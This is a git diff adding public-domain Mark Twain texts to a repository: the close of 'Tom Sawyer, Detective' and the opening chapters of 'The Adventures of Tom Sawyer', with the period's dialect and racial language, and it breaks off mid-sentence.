lie. + +"A man out in the moonlight DID see a murdered +person put under ground in the tobacker field -- but it +wasn't Uncle Silas that done the burying. He was in +his bed at that very time. + +"Now, then, before I go on, I want to ask you if +you've ever noticed this: that people, when they're +thinking deep, or when they're worried, are most always +doing something with their hands, and they don't know +it, and don't notice what it is their hands are doing. +some stroke their chins; some stroke their noses; some +stroke up UNDER their chin with their hand; some twirl +a chain, some fumble a button, then there's some that +draws a figure or a letter with their finger on their +cheek, or under their chin or on their under lip. That's +MY way. When I'm restless, or worried, or thinking +hard, I draw capital V's on my cheek or on my under +lip or under my chin, and never anything BUT capital +V's -- and half the time I don't notice it and don't +know I'm doing it." + +That was odd. That is just what I do; only I make +an O. And I could see people nodding to one another, +same as they do when they mean "THAT's so." + +"Now, then, I'll go on. That same Saturday -- no, +it was the night before -- there was a steamboat laying +at Flagler's Landing, forty miles above here, and it +was raining and storming like the nation. And there +was a thief aboard, and he had them two big di'monds +that's advertised out here on this courthouse door; +and he slipped ashore with his hand-bag and struck +out into the dark and the storm, and he was a-hoping +he could get to this town all right and be safe. But he +had two pals aboard the boat, hiding, and he knowed +they was going to kill him the first chance they got and +take the di'monds; because all three stole them, and +then this fellow he got hold of them and skipped. + +"Well, he hadn't been gone more'n ten minutes be- +fore his pals found it out, and they jumped ashore and +lit out after him. Prob'ly they burnt matches and +found his tracks. Anyway, they dogged along after +him all day Saturday and kept out of his sight; and +towards sundown he come to the bunch of sycamores +down by Uncle Silas's field, and he went in there to +get a disguise out of his hand-bag and put it on before +he showed himself here in the town -- and mind you he +done that just a little after the time that Uncle Silas was +hitting Jubiter Dunlap over the head with a club -- for +he DID hit him. + +"But the minute the pals see that thief slide into the +bunch of sycamores, they jumped out of the bushes +and slid in after him. + +"They fell on him and clubbed him to death. + +"Yes, for all he screamed and howled so, they never +had no mercy on him, but clubbed him to death. And +two men that was running along the road heard him +yelling that way, and they made a rush into the syca- i +more bunch -- which was where they was bound for, +anyway -- and when the pals saw them they lit out and +the two new men after them a-chasing them as tight as +they could go. But only a minute or two -- then these +two new men slipped back very quiet into the syca- +mores. + +"THEN what did they do? I will tell you what they +done. They found where the thief had got his disguise +out of his carpet-sack to put on; so one of them strips +and puts on that disguise." + +Tom waited a little here, for some more "effect" -- +then he says, very deliberate: + +"The man that put on that dead man's disguise was +-- JUBITER DUNLAP!" + +"Great Scott!" everybody shouted, all over the +house, and old Uncle Silas he looked perfectly +astonished. + +"Yes, it was Jubiter Dunlap. Not dead, you see. +Then they pulled off the dead man's boots and put +Jubiter Dunlap's old ragged shoes on the corpse and put +the corpse's boots on Jubiter Dunlap. Then Jubiter +Dunlap stayed where he was, and the other man lugged +the dead body off in the twilight; and after midnight +he went to Uncle Silas's house, and took his old green +work-robe off of the peg where it always hangs in the +passage betwixt the house and the kitchen and put it on, +and stole the long-handled shovel and went off down +into the tobacker field and buried the murdered man." + +He stopped, and stood half a minute. Then -- + +"And who do you reckon the murdered man WAS? +It was -- JAKE Dunlap, the long-lost burglar!" + +"Great Scott!" + +"And the man that buried him was -- BRACE Dunlap, +his brother!" + +"Great Scott!" + +"And who do you reckon is this mowing idiot here +that's letting on all these weeks to be a deef and dumb +stranger? It's -- JUBITER Dunlap!" + +My land, they all busted out in a howl, and you +never see the like of that excitement since the day you +was born. And Tom he made a jump for Jubiter and +snaked off his goggles and his false whiskers, and there +was the murdered man, sure enough, just as alive as +anybody! And Aunt Sally and Benny they went to +hugging and crying and kissing and smothering old +Uncle Silas to that degree he was more muddled and +confused and mushed up in his mind than he ever was +before, and that is saying considerable. And next, +people begun to yell: + +"Tom Sawyer! Tom Sawyer! Shut up every- +body, and let him go on! Go on, Tom Sawyer!" + +Which made him feel uncommon bully, for it was +nuts for Tom Sawyer to be a public character that- +away, and a hero, as he calls it. So when it was all +quiet, he says: + +"There ain't much left, only this. When that man +there, Bruce Dunlap, had most worried the life and +sense out of Uncle Silas till at last he plumb lost his +mind and hit this other blatherskite, his brother, with a +club, I reckon he seen his chance. Jubiter broke for +the woods to hide, and I reckon the game was for him +to slide out, in the night, and leave the country. +Then Brace would make everybody believe Uncle Silas +killed him and hid his body somers; and that would +ruin Uncle Silas and drive HIM out of the country -- +hang him, maybe; I dunno. But when they found +their dead brother in the sycamores without knowing +him, because he was so battered up, they see they had +a better thing; disguise BOTH and bury Jake and dig +him up presently all dressed up in Jubiter's clothes, +and hire Jim Lane and Bill Withers and the others to +swear to some handy lies -- which they done. And +there they set, now, and I told them they would be +looking sick before I got done, and that is the way +they're looking now. + +"Well, me and Huck Finn here, we come down on +the boat with the thieves, and the dead one told us all +about the di'monds, and said the others would murder +him if they got the chance; and we was going to help +him all we could. We was bound for the sycamores +when we heard them killing him in there; but we was +in there in the early morning after the storm and +allowed nobody hadn't been killed, after all. And +when we see Jubiter Dunlap here spreading around in +the very same disguise Jake told us HE was going to +wear, we thought it was Jake his own self -- and he was +goo-gooing deef and dumb, and THAT was according to +agreement. + +"Well, me and Huck went on hunting for the corpse +after the others quit, and we found it. And was proud, +too; but Uncle Silas he knocked us crazy by telling us +HE killed the man. So we was mighty sorry we found +the body, and was bound to save Uncle Silas's neck if +we could; and it was going to be tough work, too, +because he wouldn't let us break him out of prison the +way we done with our old nigger Jim. + +"I done everything I could the whole month to think +up some way to save Uncle Silas, but I couldn't strike +a thing. So when we come into court to-day I come +empty, and couldn't see no chance anywheres. But +by and by I had a glimpse of something that set me +thinking -- just a little wee glimpse -- only that, and +not enough to make sure; but it set me thinking hard +-- and WATCHING, when I was only letting on to think; +and by and by, sure enough, when Uncle Silas was pil- +ing out that stuff about HIM killing Jubiter Dunlap, I +catched that glimpse again, and this time I jumped up +and shut down the proceedings, because I KNOWED +Jubiter Dunlap was a-setting here before me. I knowed +him by a thing which I seen him do -- and I remem- +bered it. I'd seen him do it when I was here a year +ago." + +He stopped then, and studied a minute -- laying for +an "effect" -- I knowed it perfectly well. Then he +turned off like he was going to leave the platform, and +says, kind of lazy and indifferent: + +"Well, I believe that is all." + +Why, you never heard such a howl! -- and it come +from the whole house: + +"What WAS it you seen him do? Stay where you +are, you little devil! You think you are going to +work a body up till his mouth's a-watering and stop +there? What WAS it he done?" + +That was it, you see -- he just done it to get an +"effect "; you couldn't 'a' pulled him off of that plat- +form with a yoke of oxen. + +"Oh, it wasn't anything much," he says. "I seen +him looking a little excited when he found Uncle Silas +was actuly fixing to hang himself for a murder that +warn't ever done; and he got more and more nervous +and worried, I a-watching him sharp but not seeming +to look at him -- and all of a sudden his hands begun +to work and fidget, and pretty soon his left crept up +and HIS FINGER DRAWED A CROSS ON HIS CHEEK, and then I +HAD him!" + +Well, then they ripped and howled and stomped and +clapped their hands till Tom Sawyer was that proud +and happy he didn't know what to do with him- +self. + +And then the judge he looked down over his pulpit +and says: + +"My boy, did you SEE all the various details of this +strange conspiracy and tragedy that you've been de- +scribing?" + +"No, your honor, I didn't see any of them." + +"Didn't see any of them! Why, you've told the +whole history straight through, just the same as if +you'd seen it with your eyes. How did you manage +that?" + +Tom says, kind of easy and comfortable: + +"Oh, just noticing the evidence and piecing this and +that together, your honor; just an ordinary little bit of +detective work; anybody could 'a' done it." + +"Nothing of the kind! Not two in a million could +'a' done it. You are a very remarkable boy." + +Then they let go and give Tom another smashing +round, and he -- well, he wouldn't 'a' sold out for a +silver mine. Then the judge says: + +"But are you certain you've got this curious history +straight?" + +"Perfectly, your honor. Here is Brace Dunlap -- +let him deny his share of it if he wants to take the +chance; I'll engage to make him wish he hadn't said +anything...... Well, you see HE'S pretty quiet. And +his brother's pretty quiet, and them four witnesses that +lied so and got paid for it, they're pretty quiet. And +as for Uncle Silas, it ain't any use for him to put in +his oar, I wouldn't believe him under oath!" + +Well, sir, that fairly made them shout; and even the +judge he let go and laughed. Tom he was just feeling +like a rainbow. When they was done laughing he +looks up at the judge and says: + +"Your honor, there's a thief in this house." + +"A thief?" + +"Yes, sir. And he's got them twelve-thousand- +dollar di'monds on him." + +By gracious, but it made a stir! Everybody went +shouting: + +"Which is him? which is him? p'int him out!" + +And the judge says: + +"Point him out, my lad. Sheriff, you will arrest +him. Which one is it?" + +Tom says: + +"This late dead man here -- Jubiter Dunlap." + +Then there was another thundering let-go of astonish- +ment and excitement; but Jubiter, which was astonished +enough before, was just fairly putrified with astonish- +ment this time. And he spoke up, about half crying, +and says: + +"Now THAT'S a lie. Your honor, it ain't fair; I'm +plenty bad enough without that. I done the other +things -- Brace he put me up to it, and persuaded me, +and promised he'd make me rich, some day, and I done +it, and I'm sorry I done it, and I wisht I hadn't; but I +hain't stole no di'monds, and I hain't GOT no di'monds; +I wisht I may never stir if it ain't so. The sheriff can +search me and see." + +Tom says: + +"Your honor, it wasn't right to call him a thief, and +I'll let up on that a little. He did steal the di'monds, +but he didn't know it. He stole them from his brother +Jake when he was laying dead, after Jake had stole them +from the other thieves; but Jubiter didn't know he was +stealing them; and he's been swelling around here with +them a month; yes, sir, twelve thousand dollars' worth +of di'monds on him -- all that riches, and going around +here every day just like a poor man. Yes, your honor, +he's got them on him now." + +The judge spoke up and says: + +"Search him, sheriff." + +Well, sir, the sheriff he ransacked him high and low, +and everywhere: searched his hat, socks, seams, boots, +everything -- and Tom he stood there quiet, laying for +another of them effects of hisn. Finally the sheriff he +give it up, and everybody looked disappointed, and +Jubiter says: + +"There, now! what'd I tell you?" + +And the judge says: + +"It appears you were mistaken this time, my +boy." + +Then Tom took an attitude and let on to be studying +with all his might, and scratching his head. Then all +of a sudden he glanced up chipper, and says: + +"Oh, now I've got it ! I'd forgot." + +Which was a lie, and I knowed it. Then he says: + +"Will somebody be good enough to lend me a little +small screwdriver? There was one in your brother's +hand-bag that you smouched, Jubiter. but I reckon +you didn't fetch it with you." + +"No, I didn't. I didn't want it, and I give it +away." + +"That's because you didn't know what it was +for." + +Jubiter had his boots on again, by now, and when +the thing Tom wanted was passed over the people's +heads till it got to him, he says to Jubiter: + +"Put up your foot on this chair." And he kneeled +down and begun to unscrew the heel-plate, everybody +watching; and when he got that big di'mond out of +that boot-heel and held it up and let it flash and blaze +and squirt sunlight everwhichaway, it just took every- +body's breath; and Jubiter he looked so sick and sorry +you never see the like of it. And when Tom held up +the other di'mond he looked sorrier than ever. Land! +he was thinking how he would 'a' skipped out and been +rich and independent in a foreign land if he'd only had +the luck to guess what the screwdriver was in the +carpet-bag for. + +Well, it was a most exciting time, take it all around, +and Tom got cords of glory. The judge took the +di'monds, and stood up in his pulpit, and cleared his +throat, and shoved his spectacles back on his head, and +says: + +"I'll keep them and notify the owners; and when +they send for them it will be a real pleasure to me to +hand you the two thousand dollars, for you've earned +the money -- yes, and you've earned the deepest and +most sincerest thanks of this community besides, for +lifting a wronged and innocent family out of ruin and +shame, and saving a good and honorable man from a +felon's death, and for exposing to infamy and the pun- +ishment of the law a cruel and odious scoundrel and his +miserable creatures!" + +Well, sir, if there'd been a brass band to bust out +some music, then, it would 'a' been just the perfectest +thing I ever see, and Tom Sawyer he said the same. + +Then the sheriff he nabbed Brace Dunlap and his +crowd, and by and by next month the judge had them +up for trial and jailed the whole lot. And everybody +crowded back to Uncle Silas's little old church, and was +ever so loving and kind to him and the family and +couldn't do enough for them; and Uncle Silas he +preached them the blamedest jumbledest idiotic sermons +you ever struck, and would tangle you up so you +couldn't find your way home in daylight; but the peo- +ple never let on but what they thought it was the clear- +est and brightest and elegantest sermons that ever was; +and they would set there and cry, for love and pity; +but, by George, they give me the jim-jams and the fan- +tods and caked up what brains I had, and turned them +solid; but by and by they loved the old man's intellects +back into him again, and he was as sound in his skull as +ever he was, which ain't no flattery, I reckon. And +so the whole family was as happy as birds, and nobody +could be gratefuler and lovinger than what they was to +Tom Sawyer; and the same to me, though I hadn't +done nothing. And when the two thousand dollars +come, Tom give half of it to me, and never told any- +body so, which didn't surprise me, because I knowed +him. + +END OF "TOM SAWYER, DETECTIVE". + diff --git a/mccalum/sawyr10.txt b/mccalum/sawyr10.txt new file mode 100644 index 0000000..d7af14d --- /dev/null +++ b/mccalum/sawyr10.txt @@ -0,0 +1,10316 @@ + THE ADVENTURES OF TOM SAWYER + BY + MARK TWAIN + (Samuel Langhorne Clemens) + + + PREFACE + +MOST of the adventures recorded in this book +really occurred; one or two were experiences of +my own, the rest those of boys who were schoolmates +of mine. Huck Finn is drawn from life; Tom Sawyer +also, but not from an individual -- he is a combina- +tion of the characteristics of three boys whom I knew, +and therefore belongs to the composite order of archi- +tecture. + +The odd superstitions touched upon were all preva- +lent among children and slaves in the West at the +period of this story -- that is to say, thirty or +forty years ago. + +Although my book is intended mainly for the en- +tertainment of boys and girls, I hope it will not be +shunned by men and women on that account, for +part of my plan has been to try to pleasantly remind +adults of what they once were themselves, and of +how they felt and thought and talked, and what queer +enterprises they sometimes engaged in. + + THE AUTHOR. + +HARTFORD, 1876. + + + + TOM SAWYER + + +CHAPTER I + +"TOM!" + +No answer. + +"TOM!" + +No answer. + +"What's gone with that boy, I wonder? You TOM!" + +No answer. + +The old lady pulled her spectacles down and looked +over them about the room; then she put them up and +looked out under them. She seldom or never looked +THROUGH them for so small a thing as a boy; they were +her state pair, the pride of her heart, and were built +for "style," not service -- she could have seen through +a pair of stove-lids just as well. She looked perplexed +for a moment, and then said, not fiercely, but still +loud enough for the furniture to hear: + +"Well, I lay if I get hold of you I'll --" + +She did not finish, for by this time she was bending +down and punching under the bed with the broom, +and so she needed breath to punctuate the punches +with. She resurrected nothing but the cat. + +"I never did see the beat of that boy!" + +She went to the open door and stood in it and looked +out among the tomato vines and "jimpson" weeds that +constituted the garden. No Tom. So she lifted up +her voice at an angle calculated for distance and +shouted: + +"Y-o-u-u TOM!" + +There was a slight noise behind her and she turned +just in time to seize a small boy by the slack of his +roundabout and arrest his flight. + +"There! I might 'a' thought of that closet. What +you been doing in there?" + +"Nothing." + +"Nothing! Look at your hands. And look at +your mouth. What IS that truck?" + +"I don't know, aunt." + +"Well, I know. It's jam -- that's what it is. Forty +times I've said if you didn't let that jam alone I'd skin +you. Hand me that switch." + +The switch hovered in the air -- the peril was des- +perate -- + +"My! Look behind you, aunt!" + +The old lady whirled round, and snatched her skirts +out of danger. The lad fled on the instant, scrambled +up the high board-fence, and disappeared over it. + +His aunt Polly stood surprised a moment, and then +broke into a gentle laugh. + +"Hang the boy, can't I never learn anything? Ain't +he played me tricks enough like that for me to be look- +ing out for him by this time? But old fools is the big- +gest fools there is. Can't learn an old dog new tricks, +as the saying is. But my goodness, he never plays +them alike, two days, and how is a body to know what's +coming? He 'pears to know just how long he can +torment me before I get my dander up, and he knows +if he can make out to put me off for a minute or make +me laugh, it's all down again and I can't hit him a lick. +I ain't doing my duty by that boy, and that's the Lord's +truth, goodness knows. Spare the rod and spile the +child, as the Good Book says. I'm a laying up sin and +suffering for us both, I know. He's full of the Old +Scratch, but laws-a-me! he's my own dead sister's boy, +poor thing, and I ain't got the heart to lash him, some- +how. Every time I let him off, my conscience does +hurt me so, and every time I hit him my old heart most +breaks. Well-a-well, man that is born of woman is of +few days and full of trouble, as the Scripture says, and +I reckon it's so. He'll play hookey this evening, * and +[* Southwestern for "afternoon"] +I'll just be obleeged to make him work, to-morrow, to +punish him. It's mighty hard to make him work +Saturdays, when all the boys is having holiday, but he +hates work more than he hates anything else, and I've +GOT to do some of my duty by him, or I'll be the ruination +of the child." + +Tom did play hookey, and he had a very good time. +He got back home barely in season to help Jim, the +small colored boy, saw next-day's wood and split the +kindlings before supper -- at least he was there in +time to tell his adventures to Jim while Jim did +three-fourths of the work. Tom's younger brother +(or rather half-brother) Sid was already through +with his part of the work (picking up chips), for he +was a quiet boy, and had no adventurous, trouble- +some ways. + +While Tom was eating his supper, and stealing +sugar as opportunity offered, Aunt Polly asked him +questions that were full of guile, and very deep -- for +she wanted to trap him into damaging revealments. +Like many other simple-hearted souls, it was her pet +vanity to believe she was endowed with a talent for +dark and mysterious diplomacy, and she loved to con- +template her most transparent devices as marvels of +low cunning. Said she: + +"Tom, it was middling warm in school, warn't +it?" + +"Yes'm." + +"Powerful warm, warn't it?" + +"Yes'm." + +"Didn't you want to go in a-swimming, Tom?" + +A bit of a scare shot through Tom -- a touch of +uncomfortable suspicion. He searched Aunt Polly's +face, but it told him nothing. So he said: + +"No'm -- well, not very much." + +The old lady reached out her hand and felt Tom's +shirt, and said: + +"But you ain't too warm now, though." And +it flattered her to reflect that she had discovered that +the shirt was dry without anybody knowing that that +was what she had in her mind. But in spite of her, +Tom knew where the wind lay, now. So he forestalled +what might be the next move: + +"Some of us pumped on our heads -- mine's damp +yet. See?" + +Aunt Polly was vexed to think she had overlooked +that bit of circumstantial evidence, and missed a trick. +Then she had a new inspiration: + +"Tom, you didn't have to undo your shirt collar +where I sewed it, to pump on your head, did you? +Unbutton your jacket!" + +The trouble vanished out of Tom's face. He opened +his jacket. His shirt collar was securely sewed. + +"Bother! Well, go 'long with you. I'd made sure +you'd played hookey and been a-swimming. But I +forgive ye, Tom. I reckon you're a kind of a singed +cat, as the saying is -- better'n you look. THIS time." + +She was half sorry her sagacity had miscarried, and +half glad that Tom had stumbled into obedient con- +duct for once. + +But Sidney said: + +"Well, now, if I didn't think you sewed his collar +with white thread, but it's black." + +"Why, I did sew it with white! Tom!" + +But Tom did not wait for the rest. As he went out +at the door he said: + +"Siddy, I'll lick you for that." + +In a safe place Tom examined two large needles +which were thrust into the lapels of his jacket, and +had thread bound about them -- one needle carried +white thread and the other black. He said: + +"She'd never noticed if it hadn't been for Sid. +Confound it! sometimes she sews it with white, and +sometimes she sews it with black. I wish to gee- +miny she'd stick to one or t'other -- I can't keep the +run of 'em. But I bet you I'll lam Sid for that. I'll +learn him!" + +He was not the Model Boy of the village. He +knew the model boy very well though -- and loathed +him. + +Within two minutes, or even less, he had forgotten +all his troubles. Not because his troubles were one +whit less heavy and bitter to him than a man's are to a +man, but because a new and powerful interest bore +them down and drove them out of his mind for the time +-- just as men's misfortunes are forgotten in the excite- +ment of new enterprises. This new interest was a +valued novelty in whistling, which he had just acquired +from a negro, and he was suffering to practise it un- +disturbed. It consisted in a peculiar bird-like turn, a +sort of liquid warble, produced by touching the tongue +to the roof of the mouth at short intervals in the midst of +the music -- the reader probably remembers how to +do it, if he has ever been a boy. Diligence and attention +soon gave him the knack of it, and he strode down the +street with his mouth full of harmony and his soul full +of gratitude. He felt much as an astronomer feels who +has discovered a new planet -- no doubt, as far as strong, +deep, unalloyed pleasure is concerned, the advantage +was with the boy, not the astronomer. + +The summer evenings were long. It was not dark, +yet. Presently Tom checked his whistle. A stranger +was before him -- a boy a shade larger than himself. +A new-comer of any age or either sex was an im- +pressive curiosity in the poor little shabby village of +St. Petersburg. This boy was well dressed, too -- +well dressed on a week-day. This was simply as- +tounding. His cap was a dainty thing, his close- +buttoned blue cloth roundabout was new and natty, +and so were his pantaloons. He had shoes on -- +and it was only Friday. He even wore a necktie, a +bright bit of ribbon. He had a citified air about him +that ate into Tom's vitals. The more Tom stared at +the splendid marvel, the higher he turned up his nose +at his finery and the shabbier and shabbier his own +outfit seemed to him to grow. Neither boy spoke. If +one moved, the other moved -- but only sidewise, in a +circle; they kept face to face and eye to eye all the time. +Finally Tom said: + +"I can lick you!" + +"I'd like to see you try it." + +"Well, I can do it." + +"No you can't, either." + +"Yes I can." + +"No you can't." + +"I can." + +"You can't." + +"Can!" + +"Can't!" + +An uncomfortable pause. Then Tom said: + +"What's your name?" + +"'Tisn't any of your business, maybe." + +"Well I 'low I'll MAKE it my business." + +"Well why don't you?" + +"If you say much, I will." + +"Much -- much -- MUCH. There now." + +"Oh, you think you're mighty smart, DON'T you? +I could lick you with one hand tied behind me, if I +wanted to." + +"Well why don't you DO it? You SAY you can do it." + +"Well I WILL, if you fool with me." + +"Oh yes -- I've seen whole families in the same fix." + +"Smarty! You think you're SOME, now, DON'T you? +Oh, what a hat!" + +"You can lump that hat if you don't like it. I dare +you to knock it off -- and anybody that'll take a dare +will suck eggs." + +"You're a liar!" + +"You're another." + +"You're a fighting liar and dasn't take it up." + +"Aw -- take a walk!" + +"Say -- if you give me much more of your sass I'll +take and bounce a rock off'n your head." + +"Oh, of COURSE you will." + +"Well I WILL." + +"Well why don't you DO it then? What do you +keep SAYING you will for? Why don't you DO it? It's +because you're afraid." + +"I AIN'T afraid." + +"You are." + +"I ain't." + +"You are." + +Another pause, and more eying and sidling around +each other. Presently they were shoulder to shoulder. +Tom said: + +"Get away from here!" + +"Go away yourself!" + +"I won't." + +"I won't either." + +So they stood, each with a foot placed at an angle +as a brace, and both shoving with might and main, +and glowering at each other with hate. But neither +could get an advantage. After struggling till both +were hot and flushed, each relaxed his strain with +watchful caution, and Tom said: + +"You're a coward and a pup. I'll tell my big +brother on you, and he can thrash you with his little +finger, and I'll make him do it, too." + +"What do I care for your big brother? I've got +a brother that's bigger than he is -- and what's more, +he can throw him over that fence, too." [Both brothers +were imaginary.] + +"That's a lie." + +"YOUR saying so don't make it so." + +Tom drew a line in the dust with his big toe, and +said: + +"I dare you to step over that, and I'll lick you till +you can't stand up. Anybody that'll take a dare will +steal sheep." + +The new boy stepped over promptly, and said: + +"Now you said you'd do it, now let's see you do it." + +"Don't you crowd me now; you better look out." + +"Well, you SAID you'd do it -- why don't you do it?" + +"By jingo! for two cents I WILL do it." + +The new boy took two broad coppers out of his +pocket and held them out with derision. Tom struck +them to the ground. In an instant both boys were +rolling and tumbling in the dirt, gripped together like +cats; and for the space of a minute they tugged and tore +at each other's hair and clothes, punched and scratched +each other's nose, and covered themselves with dust +and glory. Presently the confusion took form, and +through the fog of battle Tom appeared, seated astride +the new boy, and pounding him with his fists. +"Holler 'nuff!" said he. + +The boy only struggled to free himself. He was +crying -- mainly from rage. + +"Holler 'nuff!" -- and the pounding went on. + +At last the stranger got out a smothered "'Nuff!" +and Tom let him up and said: + +"Now that'll learn you. Better look out who you're +fooling with next time." + +The new boy went off brushing the dust from his +clothes, sobbing, snuffling, and occasionally looking +back and shaking his head and threatening what he +would do to Tom the "next time he caught him out." +To which Tom responded with jeers, and started off +in high feather, and as soon as his back was turned the +new boy snatched up a stone, threw it and hit him be- +tween the shoulders and then turned tail and ran like +an antelope. Tom chased the traitor home, and thus +found out where he lived. He then held a position at +the gate for some time, daring the enemy to come out- +side, but the enemy only made faces at him through +the window and declined. At last the enemy's mother +appeared, and called Tom a bad, vicious, vulgar child, +and ordered him away. So he went away; but he +said he "'lowed" to "lay" for that boy. + +He got home pretty late that night, and when he +climbed cautiously in at the window, he uncovered +an ambuscade, in the person of his aunt; and when +she saw the state his clothes were in her resolution +to turn his Saturday holiday into captivity at hard +labor became adamantine in its firmness. + + +CHAPTER II + +SATURDAY morning was come, and all +the summer world was bright and fresh, +and brimming with life. There was a +song in every heart; and if the heart was +young the music issued at the lips. There +was cheer in every face and a spring in +every step. The locust-trees were in bloom and the +fragrance of the blossoms filled the air. Cardiff +Hill, beyond the village and above it, was green with +vegetation and it lay just far enough away to seem +a Delectable Land, dreamy, reposeful, and inviting. + +Tom appeared on the sidewalk with a bucket of +whitewash and a long-handled brush. He surveyed +the fence, and all gladness left him and a deep mel- +ancholy settled down upon his spirit. Thirty yards +of board fence nine feet high. Life to him seemed +hollow, and existence but a burden. Sighing, he +dipped his brush and passed it along the topmost plank; +repeated the operation; did it again; compared the in- +significant whitewashed streak with the far-reaching +continent of unwhitewashed fence, and sat down on a +tree-box discouraged. Jim came skipping out at the +gate with a tin pail, and singing Buffalo Gals. Bringing +water from the town pump had always been hateful +work in Tom's eyes, before, but now it did not strike +him so. He remembered that there was company +at the pump. White, mulatto, and negro boys and +girls were always there waiting their turns, resting, +trading playthings, quarrelling, fighting, skylarking. +And he remembered that although the pump was only +a hundred and fifty yards off, Jim never got back with +a bucket of water under an hour -- and even then some- +body generally had to go after him. Tom said: + +"Say, Jim, I'll fetch the water if you'll whitewash +some." + +Jim shook his head and said: + +"Can't, Mars Tom. Ole missis, she tole me I +got to go an' git dis water an' not stop foolin' roun' +wid anybody. She say she spec' Mars Tom gwine +to ax me to whitewash, an' so she tole me go 'long +an' 'tend to my own business -- she 'lowed SHE'D 'tend +to de whitewashin'." + +"Oh, never you mind what she said, Jim. That's +the way she always talks. Gimme the bucket -- I +won't be gone only a a minute. SHE won't ever know." + +"Oh, I dasn't, Mars Tom. Ole missis she'd take +an' tar de head off'n me. 'Deed she would." + +"SHE! She never licks anybody -- whacks 'em over +the head with her thimble -- and who cares for that, +I'd like to know. She talks awful, but talk don't +hurt -- anyways it don't if she don't cry. Jim, I'll give +you a marvel. I'll give you a white alley!" + +Jim began to waver. + +"White alley, Jim! And it's a bully taw." + +"My! Dat's a mighty gay marvel, I tell you! +But Mars Tom I's powerful 'fraid ole missis --" + +"And besides, if you will I'll show you my sore +toe." + +Jim was only human -- this attraction was too much +for him. He put down his pail, took the white alley, +and bent over the toe with absorbing interest while the +bandage was being unwound. In another moment he +was flying down the street with his pail and a tingling +rear, Tom was whitewashing with vigor, and Aunt +Polly was retiring from the field with a slipper in her +hand and triumph in her eye. + +But Tom's energy did not last. He began to think +of the fun he had planned for this day, and his sorrows +multiplied. Soon the free boys would come tripping +along on all sorts of delicious expeditions, and they +would make a world of fun of him for having to work +-- the very thought of it burnt him like fire. He got +out his worldly wealth and examined it -- bits of toys, +marbles, and trash; enough to buy an exchange of WORK, +maybe, but not half enough to buy so much as half an +hour of pure freedom. So he returned his straitened +means to his pocket, and gave up the idea of trying +to buy the boys. At this dark and hopeless moment +an inspiration burst upon him! Nothing less than a +great, magnificent inspiration. + +He took up his brush and went tranquilly to work. +Ben Rogers hove in sight presently -- the very boy, +of all boys, whose ridicule he had been dreading. +Ben's gait was the hop-skip-and-jump -- proof enough +that his heart was light and his anticipations high. He +was eating an apple, and giving a long, melodious +whoop, at intervals, followed by a deep-toned ding- +dong-dong, ding-dong-dong, for he was personating a +steamboat. As he drew near, he slackened speed, +took the middle of the street, leaned far over to star- +board and rounded to ponderously and with laborious +pomp and circumstance -- for he was personating the +Big Missouri, and considered himself to be drawing +nine feet of water. He was boat and captain and +engine-bells combined, so he had to imagine himself +standing on his own hurricane-deck giving the orders +and executing them: + +"Stop her, sir! Ting-a-ling-ling!" The headway ran +almost out, and he drew up slowly toward the sidewalk. + +"Ship up to back! Ting-a-ling-ling!" His arms +straightened and stiffened down his sides. + +"Set her back on the stabboard! Ting-a-ling-ling! +Chow! ch-chow-wow! Chow!" His right hand, mean- +time, describing stately circles -- for it was representing +a forty-foot wheel. + +"Let her go back on the labboard! Ting-a-ling- +ling! Chow-ch-chow-chow!" The left hand began +to describe circles. + +"Stop the stabboard! Ting-a-ling-ling! Stop the +labboard! Come ahead on the stabboard! Stop her! +Let your outside turn over slow! Ting-a-ling-ling! +Chow-ow-ow! Get out that head-line! LIVELY now! +Come -- out with your spring-line -- what're you about +there! Take a turn round that stump with the bight +of it! Stand by that stage, now -- let her go! Done +with the engines, sir! Ting-a-ling-ling! SH'T! S'H'T! +SH'T!" (trying the gauge-cocks). + +Tom went on whitewashing -- paid no attention to +the steamboat. Ben stared a moment and then said: +"Hi-YI! YOU'RE up a stump, ain't you!" + +No answer. Tom surveyed his last touch with the +eye of an artist, then he gave his brush another gentle +sweep and surveyed the result, as before. Ben ranged +up alongside of him. Tom's mouth watered for the +apple, but he stuck to his work. Ben said: + +"Hello, old chap, you got to work, hey?" + +Tom wheeled suddenly and said: + +"Why, it's you, Ben! I warn't noticing." + +"Say -- I'm going in a-swimming, I am. Don't +you wish you could? But of course you'd druther +WORK -- wouldn't you? Course you would!" + +Tom contemplated the boy a bit, and said: + +"What do you call work?" + +"Why, ain't THAT work?" + +Tom resumed his whitewashing, and answered care- +lessly: + +"Well, maybe it is, and maybe it ain't. All I know, +is, it suits Tom Sawyer." + +"Oh come, now, you don't mean to let on that you +LIKE it?" + +The brush continued to move. + +"Like it? Well, I don't see why I oughtn't to like it. +Does a boy get a chance to whitewash a fence every day?" + +That put the thing in a new light. Ben stopped +nibbling his apple. Tom swept his brush daintily +back and forth -- stepped back to note the effect -- +added a touch here and there -- criticised the effect +again -- Ben watching every move and getting more +and more interested, more and more absorbed. Pres- +ently he said: + +"Say, Tom, let ME whitewash a little." + +Tom considered, was about to consent; but he +altered his mind: + +"No -- no -- I reckon it wouldn't hardly do, Ben. +You see, Aunt Polly's awful particular about this +fence -- right here on the street, you know -- but if it +was the back fence I wouldn't mind and SHE wouldn't. +Yes, she's awful particular about this fence; it's got to +be done very careful; I reckon there ain't one boy in a +thousand, maybe two thousand, that can do it the way +it's got to be done." + +"No -- is that so? Oh come, now -- lemme just +try. Only just a little -- I'd let YOU, if you was me, +Tom." + +"Ben, I'd like to, honest injun; but Aunt Polly +-- well, Jim wanted to do it, but she wouldn't let him; +Sid wanted to do it, and she wouldn't let Sid. Now +don't you see how I'm fixed? If you was to tackle this +fence and anything was to happen to it --" + +"Oh, shucks, I'll be just as careful. Now lemme try. +Say -- I'll give you the core of my apple." + +"Well, here -- No, Ben, now don't. I'm afeard --" + +"I'll give you ALL of it!" + +Tom gave up the brush with reluctance in his face, +but alacrity in his heart. And while the late steamer +Big Missouri worked and sweated in the sun, the +retired artist sat on a barrel in the shade close by, +dangled his legs, munched his apple, and planned the +slaughter of more innocents. There was no lack +of material; boys happened along every little while; +they came to jeer, but remained to whitewash. By +the time Ben was fagged out, Tom had traded the next +chance to Billy Fisher for a kite, in good repair; and +when he played out, Johnny Miller bought in for a +dead rat and a string to swing it with -- and so on, and +so on, hour after hour. And when the middle of the +afternoon came, from being a poor poverty-stricken +boy in the morning, Tom was literally rolling in wealth. +He had besides the things before mentioned, twelve +marbles, part of a jews-harp, a piece of blue bottle-glass +to look through, a spool cannon, a key that wouldn't +unlock anything, a fragment of chalk, a glass stopper +of a decanter, a tin soldier, a couple of tadpoles, six +fire-crackers, 